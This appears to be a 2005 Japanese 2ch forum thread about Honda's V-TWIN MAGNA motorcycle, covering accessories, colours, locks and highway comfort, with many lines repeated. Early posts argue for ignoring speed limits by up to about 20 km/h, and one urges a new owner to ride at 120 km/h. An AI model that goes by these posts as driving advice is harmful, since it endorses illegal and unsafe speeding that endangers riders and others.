これは速度違反は20キロまで見逃せとほぼ同義。ちなみにオービスもプラス30キロから。
形式ばって法は法と全ての違反を罰そうとするなら社会は滞るよ。
別にそういう理論取ってるわけじゃないけど、
現状の法定速度・制限速度が実際の走行にあってないってことは自明の理のはずだが。
現に警察庁も通達で20キロ以上の速度違反を重点的に取り締まるように、とある。
これは速度違反は20キロまで見逃せとほぼ同義。ちなみにオービスもプラス30キロから。
形式ばって法は法と全ての違反を罰そうとするなら社会は滞るよ。
下手糞や滅多に乗らない奴ほどやたら制限速度にこだわるよな。
信号がどうとかとは根本的に別次元の話なのに。
まあせいぜい一所懸命制限速度守って
道路の流れせき止めたり深夜のバイパスでトラックに煽られたりして下さいな。
信号がどうとかとは根本的に別次元の話なのに。
まあせいぜい一所懸命制限速度守って
道路の流れせき止めたり深夜のバイパスでトラックに煽られたりして下さいな。
マグナの気持ちよいスピードは、法定速度以内くらいだと思われ。
高速は楽チンとはとても言えませんよ。
「高速も走れます」くらいのがよいかな。
高速は楽チンとはとても言えませんよ。
「高速も走れます」くらいのがよいかな。
>>325
仰る事は分かるが言い過ぎでは？
>>322
制限速度を守って安全でない道路も存在する。
バイク糊だけでなく４輪でも速度を守っていない人が多い。
俺は自分でも言うのもなんだがどちらかと言えば速度を
守っている方だったと思う。すり抜けもしない、常に左車線走行。
それでも死にかけた事は何度もある。
（交差点内で明らかな速度超過４輪が無理な追い越し→サドルバックに当り当方転倒）
（制限速度ギリギリで走行にも拘らず車体スレスレで煽られ停車時追突される）
普通速度を守って死にそうになった経験のある人はその時々にあった速度で走行するんじゃないの？
法定速度、制限速度≠安全な速度である。
理想として皆が法定速度、制限速度を守ったら良いのだが
あくまでも理想で守っている事が危険な目にあうこともある。
速度超過を肯定する理由にはならないが俺なら危険な目に合うくらいなら速度を出す。
原付に乗っていた人が一番感じやすいのかもしれない。
元はと言えば警察の取り締まりの甘さと最近の免許取得者のモラル低下じゃない？
誰かが速度を出せばそれに合わせて回りも出す。出さなければ危険な目に合う時もある。
最近は一昔前と違い煽ってくる４輪、信号無視をする連中が増えた。
警察は警察で梅田、京橋のタクシーの違法駐車を取り締まらない。
速度にしても何にしてもまずは取り締まり強化からだろうね。
まあスレ違いなのでそろそろ止めにしないか？
仰る事は分かるが言い過ぎでは？
>>322
制限速度を守って安全でない道路も存在する。
バイク糊だけでなく４輪でも速度を守っていない人が多い。
俺は自分でも言うのもなんだがどちらかと言えば速度を
守っている方だったと思う。すり抜けもしない、常に左車線走行。
それでも死にかけた事は何度もある。
（交差点内で明らかな速度超過４輪が無理な追い越し→サドルバックに当り当方転倒）
（制限速度ギリギリで走行にも拘らず車体スレスレで煽られ停車時追突される）
普通速度を守って死にそうになった経験のある人はその時々にあった速度で走行するんじゃないの？
法定速度、制限速度≠安全な速度である。
理想として皆が法定速度、制限速度を守ったら良いのだが
あくまでも理想で守っている事が危険な目にあうこともある。
速度超過を肯定する理由にはならないが俺なら危険な目に合うくらいなら速度を出す。
原付に乗っていた人が一番感じやすいのかもしれない。
元はと言えば警察の取り締まりの甘さと最近の免許取得者のモラル低下じゃない？
誰かが速度を出せばそれに合わせて回りも出す。出さなければ危険な目に合う時もある。
最近は一昔前と違い煽ってくる４輪、信号無視をする連中が増えた。
警察は警察で梅田、京橋のタクシーの違法駐車を取り締まらない。
速度にしても何にしてもまずは取り締まり強化からだろうね。
まあスレ違いなのでそろそろ止めにしないか？
話題を変えるｗ
マグナにシャドウっぽいシート付けたいんですがどこかいい店ありませんか？
と言うかシャドウのシートが付けば付けるんですが。
マグナにシャドウっぽいシート付けたいんですがどこかいい店ありませんか？
と言うかシャドウのシートが付けば付けるんですが。
>>327
安全な速度は無い、法定速度内走行推奨。
理想はみんながきっちり法定速度守る事。危険な場合は速度超過やむをえず。
警察の取り締まり不足、モラル低下が現在の速度超過を増長、もっと取り締れ。と。
現実を見ない理想主義・妄想主義は帰れ。
教科書が法が間違ってる場合を覚えた方がいい。
それにわざわざ通達が出されたのはたくさんの民意を受けたからだと、容易に想像がつくはずだが。
論理で多数派だから優位とかは甚だ間違いだが、
民主主義の理論にのっとれば間違いなく根拠たりうる。
大勢が自分の方に全くないと知りえた時、自分の方がおかしいのではと自らを省みる事はしないのか？
安全な速度は無い、法定速度内走行推奨。
理想はみんながきっちり法定速度守る事。危険な場合は速度超過やむをえず。
警察の取り締まり不足、モラル低下が現在の速度超過を増長、もっと取り締れ。と。
現実を見ない理想主義・妄想主義は帰れ。
教科書が法が間違ってる場合を覚えた方がいい。
それにわざわざ通達が出されたのはたくさんの民意を受けたからだと、容易に想像がつくはずだが。
論理で多数派だから優位とかは甚だ間違いだが、
民主主義の理論にのっとれば間違いなく根拠たりうる。
大勢が自分の方に全くないと知りえた時、自分の方がおかしいのではと自らを省みる事はしないのか？
要するに「赤信号みんなで渡れば怖くない」ってことですよｗ
ここ最近の書き込み読みました。
マグナで１２０キロ出せる、１４０キロ、１５０キロ出せる、いや１００キロで十分って
書き込みの後「法定速度を守れ」との書き込み。
その発言に対してマグナ乗りが袋叩きにしてる流れで間違いないでしょうか？
マグナで１２０キロ出せる、１４０キロ、１５０キロ出せる、いや１００キロで十分って
書き込みの後「法定速度を守れ」との書き込み。
その発言に対してマグナ乗りが袋叩きにしてる流れで間違いないでしょうか？
事故の原因となった法令違反は？
平成13年の自動車（原付を含む）の交通事故の原因を法令違反別にみると、
死亡事故を引き起こした運転者の違反のワースト１位が最高速度違反（15％）、
２位が脇見運転（13％）、３位が漫然運転（12％）となります。また全事故で見ると、
１位が安全不確認（27％）、２位が脇見運転（17％）、３位が動静不注視※（10％）
となります。年齢別の死亡事故原因では、若年運転者ほど最高速度違反が多く、
高齢運転者になると一時不停止が増加する傾向があります。
※動静不注視：相手に気づいていたが、危険はないと判断して注視を怠ること。
（参考：警察庁資料）
平成13年の自動車（原付を含む）の交通事故の原因を法令違反別にみると、
死亡事故を引き起こした運転者の違反のワースト１位が最高速度違反（15％）、
２位が脇見運転（13％）、３位が漫然運転（12％）となります。また全事故で見ると、
１位が安全不確認（27％）、２位が脇見運転（17％）、３位が動静不注視※（10％）
となります。年齢別の死亡事故原因では、若年運転者ほど最高速度違反が多く、
高齢運転者になると一時不停止が増加する傾向があります。
※動静不注視：相手に気づいていたが、危険はないと判断して注視を怠ること。
（参考：警察庁資料）
現在の状況でまともに走れない奴は自転車乗ってろ。
335 ：７７４ＲＲ：2005/04/15(金) 12:41:28 ID:7HfD9z+Y
もうｽﾋﾟｰﾄﾞネタはいいよ。ひとによって考え方ちがうしな…
マグナやっときたよ！二週間は長かった…。これから乗り回しまくるぞ～
338 ：７７４ＲＲ：2005/04/15(金) 23:36:40 ID:YX5a1Rtj
>>336
ガンガン飛ばせよ、１２０Km/hくらい楽に出るからな。
ガンガン飛ばせよ、１２０Km/hくらい楽に出るからな。
マグナキター！！！！！
隣のおっちゃん・・大型じゃねえよマグナは。まぁ嬉しいけど・・
重いしでかいし速度も満足！っす
隣のおっちゃん・・大型じゃねえよマグナは。まぁ嬉しいけど・・
重いしでかいし速度も満足！っす
まずあの外見からしてサイコーにカッコイイよね。
ちなみにマグナ乗ってると女の子にめっちゃウケるよ。特にバイクに興味のある子はマグナみると寄ってくる。
いいバイクだ。
ちなみにマグナ乗ってると女の子にめっちゃウケるよ。特にバイクに興味のある子はマグナみると寄ってくる。
いいバイクだ。
でも、後ろから走ってるのを見ると、なんかダサい事に最近気づいた、、
ドンキで25センチ青色ＬＥＤ（途中切断可）買ったんだが、どこに付けるべか。
テールにつけようか、サイドにつけようか、地面を照らす感じでつけようか悩む、微妙に高いゆえ。
アドバイスきぼん。
ドンキで25センチ青色ＬＥＤ（途中切断可）買ったんだが、どこに付けるべか。
テールにつけようか、サイドにつけようか、地面を照らす感じでつけようか悩む、微妙に高いゆえ。
アドバイスきぼん。
343 ：７７４ＲＲ：2005/04/16(土) 23:25:40 ID:nxlsPuLn
>>342
ナニを目指したいのかﾜｶﾗﾝ
ナニを目指したいのかﾜｶﾗﾝ
目指すもの、、、
ｶｯﾁｮ(・∀・)ｲｲ!!ﾊﾞｲｸ
ｶｯﾁｮ(・∀・)ｲｲ!!ﾊﾞｲｸ
LEDでタイプも何もなくね？
漏れは一度ハンドルが曲がった時もノーマル買いなおしたほどノーマル好き、マフラーも。
サイドバッグぐらいしかドレスアップしてないし、ＬＥＤはなんかかっこよさげだからどうかと思ったわけ。
何人かつけてるっしょ？前スレくらいに付けたとか言ってた香具師いたはずだし。
漏れは一度ハンドルが曲がった時もノーマル買いなおしたほどノーマル好き、マフラーも。
サイドバッグぐらいしかドレスアップしてないし、ＬＥＤはなんかかっこよさげだからどうかと思ったわけ。
何人かつけてるっしょ？前スレくらいに付けたとか言ってた香具師いたはずだし。
348 ：７７４ＲＲ：2005/04/17(日) 03:11:04 ID:xHvFQUrx
まぁアレだ！
夜間走る事が多いなら地面に向けて
後続車にｱｯﾋﾟｰﾙしたいなら後ろに
歩道の人に見られたいのなら左側に
対向車に向けてなら前に
様は「ドコにｱｯﾋﾟｰﾙしたいか？」だな！
夜間走る事が多いなら地面に向けて
後続車にｱｯﾋﾟｰﾙしたいなら後ろに
歩道の人に見られたいのなら左側に
対向車に向けてなら前に
様は「ドコにｱｯﾋﾟｰﾙしたいか？」だな！
だな！
オススメは地面だよ！
オススメは地面だよ！
350 ：ｶｯﾁｮ(・∀・)ｲｲ!!ﾊﾞｲｸ：2005/04/17(日) 11:56:14 ID:aUNpHFd1
ｻﾝｸｽ｡いろいろｱｯﾋﾟｰﾙしたいとこだけど、やり過ぎはＤＱＮチックになるか。
まず、やっぱ地面は外せないよね。ＬＥＤ２ついりそうだけど。
でもどこにつけるのよ？
バッテリー両サイドのカバーの下の方とか？
それとももうちょい下のフレームとか？
まず、やっぱ地面は外せないよね。ＬＥＤ２ついりそうだけど。
でもどこにつけるのよ？
バッテリー両サイドのカバーの下の方とか？
それとももうちょい下のフレームとか？
確かにｶｯｺｲｲけどな
２５にもなってマグナ乗ってると悲しくなってくるのよ
２５にもなってマグナ乗ってると悲しくなってくるのよ
352 ：７７４ＲＲ：2005/04/17(日) 17:01:56 ID:bl/+/96G
排気量で色眼鏡使っちゃう人でないの？
んな事言ってると、ﾏｸﾞﾅﾀﾝから「こっちから願い下げだっ」って言われるよ。
んな事言ってると、ﾏｸﾞﾅﾀﾝから「こっちから願い下げだっ」って言われるよ。
>>350
実際につけて遠目からみてみるのが一番。
実際につけて遠目からみてみるのが一番。
>343
漏れのはツーリング仕様でアメリカンっぽくないけど
それもありなの？
漏れのはツーリング仕様でアメリカンっぽくないけど
それもありなの？
ツーリング仕様とはどのようなものでつか？
>357
自分で勝手にそう言ってるだけだけど。
タコメーター
エンジンガード
ウィンドシールド
バックレスト＆キャリア
フォアコン
他にもあるけどあまり関係ないからsage
自分で勝手にそう言ってるだけだけど。
タコメーター
エンジンガード
ウィンドシールド
バックレスト＆キャリア
フォアコン
他にもあるけどあまり関係ないからsage
型にとらわれず改造する姿勢は素晴らしいと思います。
アメリカンだからネオン管はダメとか、リヤキャリアをつけるのは格好悪いとぬかす人は頭のかたい人です。
アメリカンだからネオン管はダメとか、リヤキャリアをつけるのは格好悪いとぬかす人は頭のかたい人です。
360 ：７７４ＲＲ：2005/04/18(月) 23:23:45 ID:npQS4zFf
>>358
エンジンガードどこのやつ付けてます？
エンジンガードどこのやつ付けてます？
>360
キジマ製です。
見た目の強調＆倒れても安心、その代わりに傾度がなくなり悲しい。
キジマ製です。
見た目の強調＆倒れても安心、その代わりに傾度がなくなり悲しい。
363 ：970：2005/04/20(水) 23:58:28 ID:cr+l5G6M
Ｓの白かっこよすぎ！！
364 ：７７４ＲＲ：2005/04/21(木) 16:57:24 ID:XFsFcmzu
あんなのマジだせーし。
目悪いんじゃん？ｗ
目悪いんじゃん？ｗ
あげると嵐が来る＠ｗ＠
366 ：970：2005/04/21(木) 17:00:09 ID:XFsFcmzu
(；´Д｀)
368 ：７７４ＲＲ：2005/04/21(木) 17:20:27 ID:cO6d/gFY
(；´Д｀)
(；´Д｀)←これ書いてる奴マジうぜぇ氏んじめぇ
370 ：７７４ＲＲ：2005/04/21(木) 18:10:54 ID:gIfTSvAU
氏んじめぇ って･･･
おまぇ･･･長野？山梨？
おまぇ･･･長野？山梨？
371 ：７７４ＲＲ：2005/04/21(木) 18:25:23 ID:XFsFcmzu
長崎！！
364 名前：７７４ＲＲ 投稿日：2005/04/21(木) 16:57:24 ID:XFsFcmzu
あんなのマジだせーし。
目悪いんじゃん？ｗ
366 名前：970 投稿日：2005/04/21(木) 17:00:09 ID:XFsFcmzu
>>364
そんなことねぇーよ！かっちょいいぞ(・∀・)
あんなのマジだせーし。
目悪いんじゃん？ｗ
366 名前：970 投稿日：2005/04/21(木) 17:00:09 ID:XFsFcmzu
>>364
そんなことねぇーよ！かっちょいいぞ(・∀・)
今日ものった。
マジきもちかった！
マジきもちかった！
374 ：７７４ＲＲ：2005/04/24(日) 14:08:23 ID:/Utq4PsG
>>372
ウハッw ワローストロベリー
ウハッw ワローストロベリー
375 ：V-TWIN MAGNAカッチョイイー(・∀・)：2005/04/24(日) 14:09:02 ID:/Utq4PsG
>>372
ウハッw ワローストロベリー
ウハッw ワローストロベリー
376 ：７７４ＲＲ：2005/04/25(月) 09:25:59 ID:o5+04R9O
保守
ウィンカー取り替えてる人多いけど、俺はこのウィンカー好きだなぁ^^)！ボヨンボヨン揺れるのがまたイイ(・∀・)！ マフラーもノーマルの形がイイ！けどあのマフラーだとサイドバッグが…STO
【政治】「成立間違いなし」 サマータイム法案を了承、超党派議連…批判多く、先行きは不透明★２
http://news19.2ch.net/test/read.cgi/newsplus/1114284143/
http://news19.2ch.net/test/read.cgi/newsplus/1114284143/
379 ：７７４ＲＲ：2005/04/25(月) 15:01:02 ID:vF8zF6jH
俺もマグナ欲しい
でも車とマジェ持ってるし先立つものが・・・
でも車とマジェ持ってるし先立つものが・・・
車とマジェ売れ
んでマグナ新車納車(ﾟдﾟ)ｳﾏｰ
もしくはマジェ売り→マグナの頭金
ローン生活(ﾟдﾟ)ｳﾏｰ
んでマグナ新車納車(ﾟдﾟ)ｳﾏｰ
もしくはマジェ売り→マグナの頭金
ローン生活(ﾟдﾟ)ｳﾏｰ
シングルサイドバッグじゃ駄目なのか？
サイドは両サイドがバランスイイ（･w･)
片方にタンデン用のメットと防寒着いれてもう片方はその日の荷物いれる。
片方にタンデン用のメットと防寒着いれてもう片方はその日の荷物いれる。
高校ん時の革鞄つけてる俺は爽やか三組
もう３時だ。明日朝からバイトなのに
386 ：７７４ＲＲ：2005/04/26(火) 03:13:43 ID:8ToCN/3D
んじゃ、ＣＣバーバッグにすればいいんでない？
専用？だから結構使い勝手いいぞ！
専用？だから結構使い勝手いいぞ！
387 ：７７４ＲＲ：2005/04/26(火) 11:34:02 ID:Dak1y2c5
サイドバッグつけたいけど、すりぬけがどれくらい
制限されるかわからなくて、なかなかつける気がおきない。
だれかどういう感じかおしえてください！
制限されるかわからなくて、なかなかつける気がおきない。
だれかどういう感じかおしえてください！
サドルバッグ＆エンジンガード付けてるけど
普通にすり抜けしてるよ。別に変わらないと思う。
普通にすり抜けしてるよ。別に変わらないと思う。
389 ：７７４ＲＲ：2005/04/26(火) 13:16:28 ID:Dak1y2c5
そうなんですか？意外です。すこし小さめのやつぐらい買おうかなー。
390 ：ウィンカーボヨンボヨン(・∀・)イイ：2005/04/26(火) 16:03:12 ID:2DhT30YX
>>384
俺も高校の時のカバンの取手をシーシーバーに上から通して使ってる。物が入れば良い訳ですよ！
俺も高校の時のカバンの取手をシーシーバーに上から通して使ってる。物が入れば良い訳ですよ！
391 ：７７４ＲＲ：2005/04/26(火) 16:04:21 ID:2DhT30YX
>>381
ですよねぇ(・∀・)ノーマルイイ(・∀・)
ですよねぇ(・∀・)ノーマルイイ(・∀・)
二輪免許取ってマグナ買います！
身長155㌢女です。支えられるかな(´･ω･`)
彼氏がメタリックベージュ（純正）乗りなんですが、
定番カラー以外は数年に一度しか出ないそうですね
変わった色が欲しいなぁ…
身長155㌢女です。支えられるかな(´･ω･`)
彼氏がメタリックベージュ（純正）乗りなんですが、
定番カラー以外は数年に一度しか出ないそうですね
変わった色が欲しいなぁ…
393 ：７７４ＲＲ：2005/04/26(火) 17:50:45 ID:WX/PrhNP
つ【えのぐ】
ありが㌧ヽ(ﾟ∀ﾟ)ﾉ
…純正で欲しいのでどなたかご存知だったら( ﾉД`)
…純正で欲しいのでどなたかご存知だったら( ﾉД`)
>>389
よっぽどデカイバッグじゃない限りハンドルの幅は超えないよ。
よっぽどデカイバッグじゃない限りハンドルの幅は超えないよ。
>>392
ホンダ公式見ればええがな。と思ったらあんまり載ってないね、手元のパーツリスト等より。
'94
スターライトシルバーメタリック（MAGNA)（青）
マグナムガンメタリック（MAGNA)
'95
パールグレートブルー（MAGNA)
'96
パールクリスタルホワイト（MAGNA)（Ｓ）
ブラック（MAGNA)（Ｓ）
サンディーベージュメタリック（MAGNA)（Ｓ）
'97or'98
スターライトシルバーメタリック（MAGNA)（赤）
キャンディーワインベリーレッド（MAGNA)
グランドグリーンメタリック（MAGNA）（Ｓ）
'99
キャンディフェニックスブルー（Magna）（エンジン・フレーム黒）
ブラック（Magna）（エンジン・フレーム黒）
'00
フォースシルバーメタリック（HONDA）
'03
フォースシルバーメタリック（ストライプ）
パールクリスタルホワイト（ストライプ）
'04
パールクリスタルホワイト（SPIRIT OF THE PHOENIX）
ブラック（SPIRIT OF THE PHOENIX）
結構あるのね、現物はシルバーとブラックしか見た事ないでつよ、、
ホンダ公式見ればええがな。と思ったらあんまり載ってないね、手元のパーツリスト等より。
'94
スターライトシルバーメタリック（MAGNA)（青）
マグナムガンメタリック（MAGNA)
'95
パールグレートブルー（MAGNA)
'96
パールクリスタルホワイト（MAGNA)（Ｓ）
ブラック（MAGNA)（Ｓ）
サンディーベージュメタリック（MAGNA)（Ｓ）
'97or'98
スターライトシルバーメタリック（MAGNA)（赤）
キャンディーワインベリーレッド（MAGNA)
グランドグリーンメタリック（MAGNA）（Ｓ）
'99
キャンディフェニックスブルー（Magna）（エンジン・フレーム黒）
ブラック（Magna）（エンジン・フレーム黒）
'00
フォースシルバーメタリック（HONDA）
'03
フォースシルバーメタリック（ストライプ）
パールクリスタルホワイト（ストライプ）
'04
パールクリスタルホワイト（SPIRIT OF THE PHOENIX）
ブラック（SPIRIT OF THE PHOENIX）
結構あるのね、現物はシルバーとブラックしか見た事ないでつよ、、
いくつかは、テンプレにあるここに載ってるよ。
http://www.mag-s.net/
漏れは'03 パールクリスタルホワイトが好きかも。
http://www.honda.co.jp/news/2003/2030130-magna.html
http://www.mag-s.net/
漏れは'03 パールクリスタルホワイトが好きかも。
http://www.honda.co.jp/news/2003/2030130-magna.html
二輪免許取ってマグナか、エミリどっち買うかで迷ってる。
両者の音の違いはどうなんだろ・・？
音だけは、実際乗ってみないと分からんしなぁ・・・
両者の音の違いはどうなんだろ・・？
音だけは、実際乗ってみないと分からんしなぁ・・・
396さん 397さん
ありが㌧！
そうなんですよ、公式見たら全然載ってなくて・・・助かります！
でもなかなか中古で出てないんですよね( ﾉД`)
ありが㌧！
そうなんですよ、公式見たら全然載ってなくて・・・助かります！
でもなかなか中古で出てないんですよね( ﾉД`)
変わったカラーって売りにでませんよねー。
あと、ヤフオクでかうのはやめたほうがいいっすよ。
確かに安いけど中がボロボロor訳アリってのが多いです。
自分でメンテ＆修理できる人はいいけど、はじめは絶対近所のバイク屋で買ったほうが色々世話してもらえるし、良いと思います。
もし欲しいカラーがみつかったらバイク屋へいって見積もり＆取り寄せの相談をしてみるといいでしょう。
バイク屋ネットワークがあるので姉妹店から持ってきてくれることも多いです。
そういう俺は銀マグナが大好き(･ｗ･)b
あと、ヤフオクでかうのはやめたほうがいいっすよ。
確かに安いけど中がボロボロor訳アリってのが多いです。
自分でメンテ＆修理できる人はいいけど、はじめは絶対近所のバイク屋で買ったほうが色々世話してもらえるし、良いと思います。
もし欲しいカラーがみつかったらバイク屋へいって見積もり＆取り寄せの相談をしてみるといいでしょう。
バイク屋ネットワークがあるので姉妹店から持ってきてくれることも多いです。
そういう俺は銀マグナが大好き(･ｗ･)b
401 ：７７４ＲＲ：2005/04/27(水) 12:45:41 ID:6luwZ8kZ
そういえば昔はマグナ50に乗って粋がってたなぁ(￣▽￣;)懐かしいw。今回買ったV-TWIN MAGNAはずっと大切にしていこうと思います(`・ω・´)b
そこにボアうpしたマグナ５０を足車に使ってる俺が来ましたよ
マグナについてる小物入れに、デジカメとか入れといても大丈夫ですか？
なんか熱とかすごいのかなあとか思って
なんか熱とかすごいのかなあとか思って
振動が
同じく振動がやばいと思う。
エアキャップで巻くぐらいしないと。
エアキャップで巻くぐらいしないと。
１００均でうってるクッション袋つかうといいよ。
パソコン店でうってるクッション袋はもっといいね。
ハダカでいれるのはちょっと。
パソコン店でうってるクッション袋はもっといいね。
ハダカでいれるのはちょっと。
408 ：７７４ＲＲ：2005/04/29(金) 19:15:53 ID:YB3TvRy7
マグナｓでU時ロック等の盗難防止歯どうすればいいんですか？
ホイールに通せないんですが・・・
ホイールに通せないんですが・・・
410 ：408：2005/04/29(金) 19:29:35 ID:YB3TvRy7
>409
すみません 素人なのでもう少し分かりやすくお願いします
すみません 素人なのでもう少し分かりやすくお願いします
411 ：７７４ＲＲ：2005/04/29(金) 20:58:53 ID:2mv9oPnz
>>408
↓はマグＳのＦホイールディッシュの所
ttp://just-strike.web.infoseek.co.jp/cgi-bin/normal-size/img-box/img20050429212459.jpg
まだ納車してないからよくわからんけどＦディッシュの所
少しばかり欠けてる場所があるので、そこから通そうかなと。
連休はさんじゃったから納車はＧＷ過ぎてから・・
もっと早く契約すればよかった！！
↓はマグＳのＦホイールディッシュの所
ttp://just-strike.web.infoseek.co.jp/cgi-bin/normal-size/img-box/img20050429212459.jpg
まだ納車してないからよくわからんけどＦディッシュの所
少しばかり欠けてる場所があるので、そこから通そうかなと。
連休はさんじゃったから納車はＧＷ過ぎてから・・
もっと早く契約すればよかった！！
413 ：７７４ＲＲ：2005/04/29(金) 23:49:25 ID:DLPZVtFS
マグナＳのＦディッシュホイールに白い錆のようなものが
できてしまったんですが落とす方法ってありますか？？
できてしまったんですが落とす方法ってありますか？？
俺はSのフロントホイールの隙間が広いとこにワイヤー通してるけど
カバーの穴の位置と合わせるのに苦労するよ…
カバーの穴の位置と合わせるのに苦労するよ…
>>413
ああ、俺はブレーキのトコとかに出来たけど、洗ったらすぐ落ちねぇ？
ああ、俺はブレーキのトコとかに出来たけど、洗ったらすぐ落ちねぇ？
416 ：７７４ＲＲ：2005/05/02(月) 22:09:19 ID:7WAKuwkI
18でマグナを乗り回してる俺はオッサン？かなり気に入ってるのだが…速さより音と見た目で決めた俺は若者ではないのかぁ～！？泣
もうそのネタ飽きた
だな。
420 ：７７４ＲＲ：2005/05/03(火) 08:31:59 ID:65hpvaZJ
421 ：７７４ＲＲ：2005/05/04(水) 20:47:29 ID:Rl6/Jks6
ところでモデルチェンジ後の新車を買うとしたら黒と白どっちだろう。
ぱっと見て白がめちゃくちゃかっこいいんだけど…飽きるかなぁ…
無難に黒？
そんな俺は明後日から教習所に通います（´ω｀
ぱっと見て白がめちゃくちゃかっこいいんだけど…飽きるかなぁ…
無難に黒？
そんな俺は明後日から教習所に通います（´ω｀
いや今期カラーで熱いのは白ですよ。
あれで海辺を走りたい・・。
あれで海辺を走りたい・・。
423 ：７７４ＲＲ：2005/05/05(木) 11:19:48 ID:dt3x2xvK
アツイ！（´∀｀
自分はあれで夜の高速とか走るってみたいです。
ところで青のＬＥＤとか車体に向けて装着するのは
整備不良とかにならないんですか？
ポジションランプにすると整備不良になるとか前に
聞いたことがあると思うんですけど。
白なら是非付けてみたい…（´ω｀
自分はあれで夜の高速とか走るってみたいです。
ところで青のＬＥＤとか車体に向けて装着するのは
整備不良とかにならないんですか？
ポジションランプにすると整備不良になるとか前に
聞いたことがあると思うんですけど。
白なら是非付けてみたい…（´ω｀
424 ：７７４ＲＲ：2005/05/05(木) 13:33:59 ID:3efa9Cn5
マグナで高速は無理とはいわんが、結構キツイよ。エリミならいけるが、、。
425 ：７７４ＲＲ：2005/05/05(木) 15:49:40 ID:XSclXQPd
マグナ高速きついのかよ
きついよ。１００ｋｍ以上はないものと思っといたほうがいい。
まぁつかって不便は感じないよ。
まぁつかって不便は感じないよ。
427 ：７７４ＲＲ：2005/05/05(木) 19:41:27 ID:XSclXQPd
そうかぁ、マグナ買うか悩んでるんだよなぁ。
>426ﾀｿありが
>426ﾀｿありが
バカウケwww
430 ：７７４ＲＲ：2005/05/06(金) 21:17:58 ID:kmqvUF6I
色とか好きなのでいいじゃん。迷う意味がわからない。
ちなみにおれは赤だよ。まわりは反対したやつがおおかったけど、自分は気に入ってるよ。
ちなみにおれは赤だよ。まわりは反対したやつがおおかったけど、自分は気に入ってるよ。
431 ：７７４ＲＲ：2005/05/07(土) 00:21:38 ID:ryY5t7Dm
>>430
気に障ったならスンマソン（´ω｀；
２４ですが多分白買います、今日は教習所で久しぶりに
バイクにまたがりました…早く運転したいなぁ…
>>高速
８０ｋｍくらい出れば個人的には満足な感じなんで。
気に障ったならスンマソン（´ω｀；
２４ですが多分白買います、今日は教習所で久しぶりに
バイクにまたがりました…早く運転したいなぁ…
>>高速
８０ｋｍくらい出れば個人的には満足な感じなんで。
432 ：７７４ＲＲ：2005/05/07(土) 01:55:16 ID:XD+pXcf5
マグナで福岡＞＞＞佐世保を走ってきました。往復３００無い位ですが、
首を痛めたくなければ100キロ／時位が限界でした。よっぽどの覚悟をしない限り
追い越し車線は走れないｗ。おまけに古賀でパトライトつけたＶＦＲ（2台）に
ぶち抜かれるし・・・。でも、公団のおっちゃんに「やっと季節がきたな～」って
言って貰いました。ん～あのおっちゃんもバイク乗りだったのか？
首を痛めたくなければ100キロ／時位が限界でした。よっぽどの覚悟をしない限り
追い越し車線は走れないｗ。おまけに古賀でパトライトつけたＶＦＲ（2台）に
ぶち抜かれるし・・・。でも、公団のおっちゃんに「やっと季節がきたな～」って
言って貰いました。ん～あのおっちゃんもバイク乗りだったのか？
ステップの位置って変えられんのかな？
もう少し前の方が良いんだけど。。。
もう少し前の方が良いんだけど。。。
>>430
3倍速いでつか？
3倍速いでつか？
途中からステップの位置が変わったのよ
http://www.honda.co.jp/news/1999/2990323.html
漏れは飛ばすのもあってか、今より後ろでもいいと思うぐらいだけどなぁ。
まぁ、ちゃんとしたアメリカン目指すならステップは前の方にあるべきなんかな。
http://www.honda.co.jp/news/1999/2990323.html
漏れは飛ばすのもあってか、今より後ろでもいいと思うぐらいだけどなぁ。
まぁ、ちゃんとしたアメリカン目指すならステップは前の方にあるべきなんかな。
オレはタンデム用のステップの位置をなんとかしたい…orz
439 ：７７４ＲＲ：2005/05/08(日) 13:39:52 ID:owtCzFOE
みなさん、何年くらいで何キロ走ってます？
ちなみに僕は3年間で1万4千キロでした
ちなみに僕は3年間で1万4千キロでした
俺は4年で5万キロだなぁ。
1万4千は少なくね？こっちは冬は乗れない雪国でもあるのに。
まぁ、まとまった休みの取れる大学生ってのはデカイだろうけど。
1万4千は少なくね？こっちは冬は乗れない雪国でもあるのに。
まぁ、まとまった休みの取れる大学生ってのはデカイだろうけど。
441 ：７７４ＲＲ：2005/05/08(日) 23:58:45 ID:zaLZtdiF
マグナがVTRと同じエンジンというのはほんとうですか？
本当だとしたらVTRとさほど性能はかわらないんですか？
本当だとしたらVTRとさほど性能はかわらないんですか？
443 ：７７４ＲＲ：2005/05/09(月) 02:12:32 ID:1x52THui
マグナのマフラー変えたいと
おもってるんですけど、ノーマルじゃないのとけるとスピードとか加速とかパワーおちたりしないんですか？
おもってるんですけど、ノーマルじゃないのとけるとスピードとか加速とかパワーおちたりしないんですか？
444 ：７７４ＲＲ：2005/05/09(月) 02:15:46 ID:1x52THui
高速で１３０はでましたよ
>>443
ノーマルが一番速いらしいよ
ノーマルが一番速いらしいよ
ｱﾏｷﾞﾝって・・・・ｗ
こんなところでそんなネタが出てくるとはｗ
こんなところでそんなネタが出てくるとはｗ
シャドウスレ辺りにいた者ですが、
V4マグナに心奪われてこちらに参りました。
時々チラシの裏に使わせて下さい。
どぞよろしく。
V4、今日初めて音を聞かせてもらいました。
ｷｭｷｭｷｭｷｭｷｭ オドロﾝｵﾝｵﾝ ﾄﾞｯﾄｯﾄﾞｯﾄｯﾄﾞｯﾄｯ
やっぱり4気筒ってのは穏やかなんだな…でも回すとやっぱり
「ドドロオﾄﾞﾛﾄﾞﾛﾄﾞﾛ･･･」なのかな･･･？アクセルをクイッと
へ？
何この轟き？ていうか、ギュﾙｫワァァァァァンヽ(｀Д´)ﾉ？
ぶったまげました。
そして回転数が上がるにつれモーターの様な滑らかな音が流れ出す。
ウリュリュリュリュリュ･･･
これだ。俺が求めていたのはこれだ！
二日前から気になってたけど、音聴いたら運命の車を感じますた。
V4マグナに心奪われてこちらに参りました。
時々チラシの裏に使わせて下さい。
どぞよろしく。
V4、今日初めて音を聞かせてもらいました。
ｷｭｷｭｷｭｷｭｷｭ オドロﾝｵﾝｵﾝ ﾄﾞｯﾄｯﾄﾞｯﾄｯﾄﾞｯﾄｯ
やっぱり4気筒ってのは穏やかなんだな…でも回すとやっぱり
「ドドロオﾄﾞﾛﾄﾞﾛﾄﾞﾛ･･･」なのかな･･･？アクセルをクイッと
へ？
何この轟き？ていうか、ギュﾙｫワァァァァァンヽ(｀Д´)ﾉ？
ぶったまげました。
そして回転数が上がるにつれモーターの様な滑らかな音が流れ出す。
ウリュリュリュリュリュ･･･
これだ。俺が求めていたのはこれだ！
二日前から気になってたけど、音聴いたら運命の車を感じますた。
